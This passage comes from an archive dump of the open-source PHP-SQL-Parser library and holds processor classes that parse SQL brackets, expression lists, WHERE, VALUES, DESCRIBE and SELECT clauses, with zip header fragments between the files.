 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the parentheses around the statement.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class BracketProcessor extends AbstractProcessor {

    protected function processTopLevel($sql) {
        $processor = new DefaultProcessor($this->options);
        return $processor->process($sql);
    }

    public function process($tokens) {
        $token = $this->removeParenthesisFromStart($tokens[0]);
        $subtree = $this->processTopLevel($token);

        $remainingExpressions = $this->getRemainingNotBracketExpression($subtree);

        if (isset($subtree['BRACKET'])) {
            $subtree = $subtree['BRACKET'];
        }

        if (isset($subtree['SELECT'])) {
            $subtree = array(
                    array('expr_type' => ExpressionType::QUERY, 'base_expr' => $token, 'sub_tree' => $subtree));
        }

        return array(
                array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => trim($tokens[0]),
                        'sub_tree' => $subtree, 'remaining_expressions' => $remainingExpressions));
    }

    private function getRemainingNotBracketExpression($subtree)
    {
        // https://github.com/greenlion/PHP-SQL-Parser/issues/279
        // https://github.com/sinri/PHP-SQL-Parser/commit/eac592a0e19f1df6f420af3777a6d5504837faa7
        // as there is no pull request for 279 by the user. His solution works and tested.
        if (empty($subtree)) $subtree = array();// as a fix by Sinri 20180528
        $remainingExpressions = array();
        $ignoredKeys = array('BRACKET', 'SELECT', 'FROM');
        $subtreeKeys = array_keys($subtree);

        foreach($subtreeKeys as $key) {
            if(!in_array($key, $ignoredKeys)) {
                $remainingExpressions[$key] = $subtree[$key];
            }
        }

        return $remainingExpressions;
    }

}

?>
PK     \hI  I  W  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ExpressionListProcessor.phpnu [        <?php
/**
 * ExpressionListProcessor.php
 *
 * This file implements the processor for expression lists.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;
use PHPSQLParser\utils\ExpressionToken;
use PHPSQLParser\utils\PHPSQLParserConstants;

/**
 * This class processes expression lists.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class ExpressionListProcessor extends AbstractProcessor {

    public function process($tokens) {
        $resultList = array();
        $skip_next = false;
        $prev = new ExpressionToken();

        foreach ($tokens as $k => $v) {


            if ($this->isCommentToken($v)) {
                $resultList[] = parent::processComment($v);
                continue;
            }

            $curr = new ExpressionToken($k, $v);

            if ($curr->isWhitespaceToken()) {
                continue;
            }

            if ($skip_next) {
                // skip the next non-whitespace token
                $skip_next = false;
                continue;
            }

            /* is it a subquery? */
            if ($curr->isSubQueryToken()) {

                $processor = new DefaultProcessor($this->options);
                $curr->setSubTree($processor->process($this->removeParenthesisFromStart($curr->getTrim())));
                $curr->setTokenType(ExpressionType::SUBQUERY);

            } elseif ($curr->isEnclosedWithinParenthesis()) {
                /* is it an in-list? */

                $localTokenList = $this->splitSQLIntoTokens($this->removeParenthesisFromStart($curr->getTrim()));

                if ($prev->getUpper() === 'IN') {

                    foreach ($localTokenList as $k => $v) {
                        $tmpToken = new ExpressionToken($k, $v);
                        if ($tmpToken->isCommaToken()) {
                            unset($localTokenList[$k]);
                        }
                    }

                    $localTokenList = array_values($localTokenList);
                    $curr->setSubTree($this->process($localTokenList));
                    $curr->setTokenType(ExpressionType::IN_LIST);
                } elseif ($prev->getUpper() === 'AGAINST') {

                    $match_mode = false;
                    foreach ($localTokenList as $k => $v) {

                        $tmpToken = new ExpressionToken($k, $v);
                        switch ($tmpToken->getUpper()) {
                        case 'WITH':
                            $match_mode = 'WITH QUERY EXPANSION';
                            break;
                        case 'IN':
                            $match_mode = 'IN BOOLEAN MODE';
                            break;

                        default:
                        }

                        if ($match_mode !== false) {
                            unset($localTokenList[$k]);
                        }
                    }

                    $tmpToken = $this->process($localTokenList);

                    if ($match_mode !== false) {
                        $match_mode = new ExpressionToken(0, $match_mode);
                        $match_mode->setTokenType(ExpressionType::MATCH_MODE);
                        $tmpToken[] = $match_mode->toArray();
                    }

                    $curr->setSubTree($tmpToken);
                    $curr->setTokenType(ExpressionType::MATCH_ARGUMENTS);
                    $prev->setTokenType(ExpressionType::SIMPLE_FUNCTION);

                } elseif ($prev->isColumnReference() || $prev->isFunction() || $prev->isAggregateFunction()
                    || $prev->isCustomFunction()) {

                    // if we have a colref followed by a parenthesis pair,
                    // it isn't a colref, it is a user-function

                    // TODO: this should be a method, because we need the same code
                    // below for unspecified tokens (expressions).

                    $localExpr = new ExpressionToken();
                    $tmpExprList = array();

                    foreach ($localTokenList as $k => $v) {
                        $tmpToken = new ExpressionToken($k, $v);
                        if (!$tmpToken->isCommaToken()) {
                            $localExpr->addToken($v);
                            $tmpExprList[] = $v;
                        } else {
                            // an expression could have multiple parts split by operands
                            // if we have a comma, it is a split-point for expressions
                            $tmpExprList = array_values($tmpExprList);
                            $localExprList = $this->process($tmpExprList);

                            if (count($localExprList) > 1) {
                                $localExpr->setSubTree($localExprList);
                                $localExpr->setTokenType(ExpressionType::EXPRESSION);
                                $localExprList = $localExpr->toArray();
                                $localExprList['alias'] = false;
                                $localExprList = array($localExprList);
                            }

                            if (!$curr->getSubTree()) {
                                if (!empty($localExprList)) {
                                    $curr->setSubTree($localExprList);
                                }
                            } else {
                                $tmpExprList = $curr->getSubTree();
                                $curr->setSubTree(array_merge($tmpExprList, $localExprList));
                            }

                            $tmpExprList = array();
                            $localExpr = new ExpressionToken();
                        }
                    }

                    $tmpExprList = array_values($tmpExprList);
                    $localExprList = $this->process($tmpExprList);

                    if (count($localExprList) > 1) {
                        $localExpr->setSubTree($localExprList);
                        $localExpr->setTokenType(ExpressionType::EXPRESSION);
                        $localExprList = $localExpr->toArray();
                        $localExprList['alias'] = false;
                        $localExprList = array($localExprList);
                    }

                    if (!$curr->getSubTree()) {
                        if (!empty($localExprList)) {
                            $curr->setSubTree($localExprList);
                        }
                    } else {
                        $tmpExprList = $curr->getSubTree();
                        $curr->setSubTree(array_merge($tmpExprList, $localExprList));
                    }

                    $prev->setSubTree($curr->getSubTree());
                    if ($prev->isColumnReference()) {
                        if (PHPSQLParserConstants::getInstance()->isCustomFunction($prev->getUpper())) {
                            $prev->setTokenType(ExpressionType::CUSTOM_FUNCTION);
                        } else {
                            $prev->setTokenType(ExpressionType::SIMPLE_FUNCTION);
                        }
                        $prev->setNoQuotes(null, null, $this->options);
                    }

                    array_pop($resultList);
                    $curr = $prev;
                }

                // we have parenthesis, but it seems to be an expression
                if ($curr->isUnspecified()) {
                    $tmpExprList = array_values($localTokenList);
                    $localExprList = $this->process($tmpExprList);

                    $curr->setTokenType(ExpressionType::BRACKET_EXPRESSION);
                    if (!$curr->getSubTree()) {
                        if (!empty($localExprList)) {
                            $curr->setSubTree($localExprList);
                        }
                    } else {
                        $tmpExprList = $curr->getSubTree();
                        $curr->setSubTree(array_merge($tmpExprList, $localExprList));
                    }
                }

            } elseif ($curr->isVariableToken()) {

                # a variable
                # it can be quoted

                $curr->setTokenType($this->getVariableType($curr->getUpper()));
                $curr->setSubTree(false);
                $curr->setNoQuotes(trim(trim($curr->getToken()), '@'), "`'\"", $this->options);

            } else {
                /* it is either an operator, a colref or a constant */
                switch ($curr->getUpper()) {

                case '*':
                    $curr->setSubTree(false); // o subtree

                    // single or first element of expression list -> all-column-alias
                    if (empty($resultList)) {
                        $curr->setTokenType(ExpressionType::COLREF);
                        break;
                    }

                    // if the last token is colref, const or expression
                    // then * is an operator
                    // but if the previous colref ends with a dot, the * is the all-columns-alias
                    if (
                        !$prev->isColumnReference()
                        && !$prev->isConstant()
                        && !$prev->isExpression()
                        && !$prev->isBracketExpression()
                        && !$prev->isAggregateFunction()
                        && !$prev->isVariable()
                        && !$prev->isFunction()
                    ) {
                        $curr->setTokenType(ExpressionType::COLREF);
                        break;
                    }

                    if ($prev->isColumnReference() && $prev->endsWith(".")) {
                        $prev->addToken('*'); // tablealias dot *
                        continue 2; // skip the current token
                    }

                    $curr->setTokenType(ExpressionType::OPERATOR);
                    break;

                case ':=':
                case 'AND':
                case '&&':
                case 'BETWEEN':
                case 'BINARY':
                case '&':
                case '~':
                case '|':
                case '^':
                case 'DIV':
                case '/':
                case '<=>':
                case '=':
                case '>=':
                case '>':
                case 'IS':
                case 'NOT':
                case '<<':
                case '<=':
                case '<':
                case 'LIKE':
                case '%':
                case '!=':
                case '<>':
                case 'REGEXP':
                case '!':
                case '||':
                case 'OR':
                case '>>':
                case 'RLIKE':
                case 'SOUNDS':
                case 'XOR':
                case 'IN':
                    $curr->setSubTree(false);
                    $curr->setTokenType(ExpressionType::OPERATOR);
                    break;

                case 'NULL':
                    $curr->setSubTree(false);
                    $curr->setTokenType(ExpressionType::CONSTANT);
                    break;

                case '-':
                case '+':
                // differ between preceding sign and operator
                    $curr->setSubTree(false);

                    if ($prev->isColumnReference() || $prev->isFunction() || $prev->isAggregateFunction()
                        || $prev->isConstant() || $prev->isSubQuery() || $prev->isExpression()
                        || $prev->isBracketExpression() || $prev->isVariable() || $prev->isCustomFunction()) {
                        $curr->setTokenType(ExpressionType::OPERATOR);
                    } else {
                        $curr->setTokenType(ExpressionType::SIGN);
                    }
                    break;

                default:
                    $curr->setSubTree(false);

                    switch ($curr->getToken(0)) {
                    case "'":
                    // it is a string literal
                        $curr->setTokenType(ExpressionType::CONSTANT);
                        break;
                    case '"':
                        if (!$this->options->getANSIQuotes()) {
                        // If we're not using ANSI quotes, this is a string literal.
                            $curr->setTokenType(ExpressionType::CONSTANT);
                            break;
                        }
                        // Otherwise continue to the next case
                    case '`':
                    // it is an escaped colum name
                        $curr->setTokenType(ExpressionType::COLREF);
                        $curr->setNoQuotes($curr->getToken(), null, $this->options);
                        break;

                    default:
                        if (is_numeric($curr->getToken())) {

                            if ($prev->isSign()) {
                                $prev->addToken($curr->getToken()); // it is a negative numeric constant
                                $prev->setTokenType(ExpressionType::CONSTANT);
                                continue 3;
                                // skip current token
                            } else {
                                $curr->setTokenType(ExpressionType::CONSTANT);
                            }
                        } else {
                            $curr->setTokenType(ExpressionType::COLREF);
                            $curr->setNoQuotes($curr->getToken(), null, $this->options);
                        }
                        break;
                    }
                }
            }

            /* is a reserved word? */
            if (!$curr->isOperator() && !$curr->isInList() && !$curr->isFunction() && !$curr->isAggregateFunction()
                && !$curr->isCustomFunction() && PHPSQLParserConstants::getInstance()->isReserved($curr->getUpper())) {

	            $next = isset( $tokens[ $k + 1 ] ) ? new ExpressionToken( $k + 1, $tokens[ $k + 1 ] ) : new ExpressionToken();
                $isEnclosedWithinParenthesis = $next->isEnclosedWithinParenthesis();
	            if ($isEnclosedWithinParenthesis && PHPSQLParserConstants::getInstance()->isCustomFunction($curr->getUpper())) {
                    $curr->setTokenType(ExpressionType::CUSTOM_FUNCTION);
                    $curr->setNoQuotes(null, null, $this->options);

                } elseif ($isEnclosedWithinParenthesis && PHPSQLParserConstants::getInstance()->isAggregateFunction($curr->getUpper())) {
                    $curr->setTokenType(ExpressionType::AGGREGATE_FUNCTION);
                    $curr->setNoQuotes(null, null, $this->options);

                } elseif ($curr->getUpper() === 'NULL') {
                    // it is a reserved word, but we would like to set it as constant
                    $curr->setTokenType(ExpressionType::CONSTANT);

                } else {
                    if ($isEnclosedWithinParenthesis && PHPSQLParserConstants::getInstance()->isParameterizedFunction($curr->getUpper())) {
                        // issue 60: check functions with parameters
                        // -> colref (we check parameters later)
                        // -> if there is no parameter, we leave the colref
                        $curr->setTokenType(ExpressionType::COLREF);

                    } elseif ($isEnclosedWithinParenthesis && PHPSQLParserConstants::getInstance()->isFunction($curr->getUpper())) {
                        $curr->setTokenType(ExpressionType::SIMPLE_FUNCTION);
                        $curr->setNoQuotes(null, null, $this->options);

                    }  elseif (!$isEnclosedWithinParenthesis && PHPSQLParserConstants::getInstance()->isFunction($curr->getUpper())) {
	                    // Colname using function name.
                    	$curr->setTokenType(ExpressionType::COLREF);
                    } else {
                        $curr->setTokenType(ExpressionType::RESERVED);
                        $curr->setNoQuotes(null, null, $this->options);
                    }
                }
            }

            // issue 94, INTERVAL 1 MONTH
            if ($curr->isConstant() && PHPSQLParserConstants::getInstance()->isParameterizedFunction($prev->getUpper())) {
                $prev->setTokenType(ExpressionType::RESERVED);
                $prev->setNoQuotes(null, null, $this->options);
            }

            if ($prev->isConstant() && PHPSQLParserConstants::getInstance()->isParameterizedFunction($curr->getUpper())) {
                $curr->setTokenType(ExpressionType::RESERVED);
                $curr->setNoQuotes(null, null, $this->options);
            }

            if ($curr->isUnspecified()) {
                $curr->setTokenType(ExpressionType::EXPRESSION);
                $curr->setNoQuotes(null, null, $this->options);
                $curr->setSubTree($this->process($this->splitSQLIntoTokens($curr->getTrim())));
            }

            $resultList[] = $curr;
            $prev = $curr;
        } // end of for-loop

        return $this->toArray($resultList);
    }
}
?>
PK     \8][O  O  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/WhereProcessor.phpnu [        <?php
/**
 * WhereProcessor.php
 *
 * This file implements the processor for the WHERE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the WHERE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class WhereProcessor extends ExpressionListProcessor {

}
?>
PK     \J]    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ValuesProcessor.phpnu [        <?php
/**
 * ValuesProcessor.php
 *
 * This file implements the processor for the VALUES statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the VALUES statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class ValuesProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($unparsed);
    }

    protected function processRecord($unparsed) {
        $processor = new RecordProcessor($this->options);
        return $processor->process($unparsed);
    }

    public function process($tokens) {

        $currCategory = '';
        $parsed = array();
        $base_expr = '';

        foreach ($tokens['VALUES'] as $k => $v) {
	        if ($this->isCommentToken($v)) {
		        $parsed[] = parent::processComment($v);
		        continue;
	        }

	        $base_expr .= $v;
	        $trim = trim($v);

            if ($this->isWhitespaceToken($v)) {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'ON':
                if ($currCategory === '') {

                    $base_expr = trim(substr($base_expr, 0, -strlen($v)));
                    $parsed[] = array('expr_type' => ExpressionType::RECORD, 'base_expr' => $base_expr,
                                      'data' => $this->processRecord($base_expr), 'delim' => false);
                    $base_expr = '';

                    $currCategory = 'DUPLICATE';
                    $parsed[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                }
                // else ?
                break;

            case 'DUPLICATE':
            case 'KEY':
            case 'UPDATE':
                if ($currCategory === 'DUPLICATE') {
                    $parsed[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $base_expr = '';
                }
                // else ?
                break;

            case ',':
                if ($currCategory === 'DUPLICATE') {

                    $base_expr = trim(substr($base_expr, 0, -strlen($v)));
                    $res = $this->processExpressionList($this->splitSQLIntoTokens($base_expr));
                    $parsed[] = array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => $base_expr,
                                      'sub_tree' => (empty($res) ? false : $res), 'delim' => $trim);
                    $base_expr = '';
                    continue 2;
                }

                $parsed[] = array('expr_type' => ExpressionType::RECORD, 'base_expr' => trim($base_expr),
                                  'data' => $this->processRecord(trim($base_expr)), 'delim' => $trim);
                $base_expr = '';
                break;

            default:
                break;
            }

        }

        if (trim($base_expr) !== '') {
            if ($currCategory === '') {
                $parsed[] = array('expr_type' => ExpressionType::RECORD, 'base_expr' => trim($base_expr),
                                  'data' => $this->processRecord(trim($base_expr)), 'delim' => false);
            }
            if ($currCategory === 'DUPLICATE') {
                $res = $this->processExpressionList($this->splitSQLIntoTokens($base_expr));
                $parsed[] = array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => trim($base_expr),
                                  'sub_tree' => (empty($res) ? false : $res), 'delim' => false);
            }
        }

        $tokens['VALUES'] = $parsed;
        return $tokens;
    }

}
?>
PK     \BPL    Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DescribeProcessor.phpnu [        <?php
/**
 * ExplainProcessor.php
 *
 * This file implements the processor for the DESCRIBE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the DESCRIBE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class DescribeProcessor extends ExplainProcessor {

    protected function isStatement($keys, $needle = "DESCRIBE") {
        return parent::isStatement($keys, $needle);
    }
}

?>
PK     \`2  2  Y  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SelectExpressionProcessor.phpnu [        <?php
/**
 * SelectExpressionProcessor.php
 *
 * This file implements the processor for SELECT expressions.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 *
 * This class processes the SELECT expressions.
 *
 * @author arothe
 *
 */
class SelectExpressionProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($unparsed);
    }

    /**
     * This fuction processes each SELECT clause.
     * We determine what (if any) alias
     * is provided, and we set the type of expression.
     */
    public function process($expression) {
        $tokens = $this->splitSQLIntoTokens($expression);
        $token_count = count($tokens);
        if ($token_count === 0) {
            return null;
        }

        /*
         * Determine if there is an explicit alias after the AS clause.
         * If AS is found, then the next non-whitespace token is captured as the alias.
         * The tokens after (and including) the AS are removed.
         */
        $base_expr = "";
        $stripped = array();
        $capture = false;
        $alias = false;
        $processed = false;

        for ($i = 0; $i < $token_count; ++$i) {
            $token = $tokens[$i];
            $upper = strtoupper($token);

            if ($upper === 'AS') {
                $alias = array('as' => true, "name" => "", "base_expr" => $token);
                $tokens[$i] = "";
                $capture = true;
                continue;
            }

            if (!$this->isWhitespaceToken($upper)) {
                $stripped[] = $token;
            }

            // we have an explicit AS, next one can be the alias
            // but also a comment!
            if ($capture) {
                if (!$this->isWhitespaceToken($upper) && !$this->isCommentToken($upper)) {
                    $alias['name'] .= $token;
                    array_pop($stripped);
                }
                $alias['base_expr'] .= $token;
                $tokens[$i] = "";
                continue;
            }

            $base_expr .= $token;
        }

        if ($alias) {
            // remove quotation from the alias
            $alias['no_quotes'] = $this->revokeQuotation($alias['name']);
            $alias['name'] = trim($alias['name']);
            $alias['base_expr'] = trim($alias['base_expr']);
        }

        $stripped = $this->processExpressionList($stripped);

        // TODO: the last part can also be a comment, don't use array_pop

        // we remove the last token, if it is a colref,
        // it can be an alias without an AS
        $last = array_pop($stripped);
        if (!$alias && $this->isColumnReference($last)) {

            // TODO: it can be a comment, don't use array_pop

            // check the token before the colref
            $prev = array_pop($stripped);

            if ($this->isReserved($prev) || $this->isConstant($prev) || $this->isAggregateFunction($prev)
                    || $this->isFunction($prev) || $this->isExpression($prev) || $this->isSubQuery($prev)
                    || $this->isColumnReference($prev) || $this->isBracketExpression($prev)|| $this->isCustomFunction($prev)) {

                $alias = array('as' => false, 'name' => trim($last['base_expr']),
                               'no_quotes' => $this->revokeQuotation($last['base_expr']),
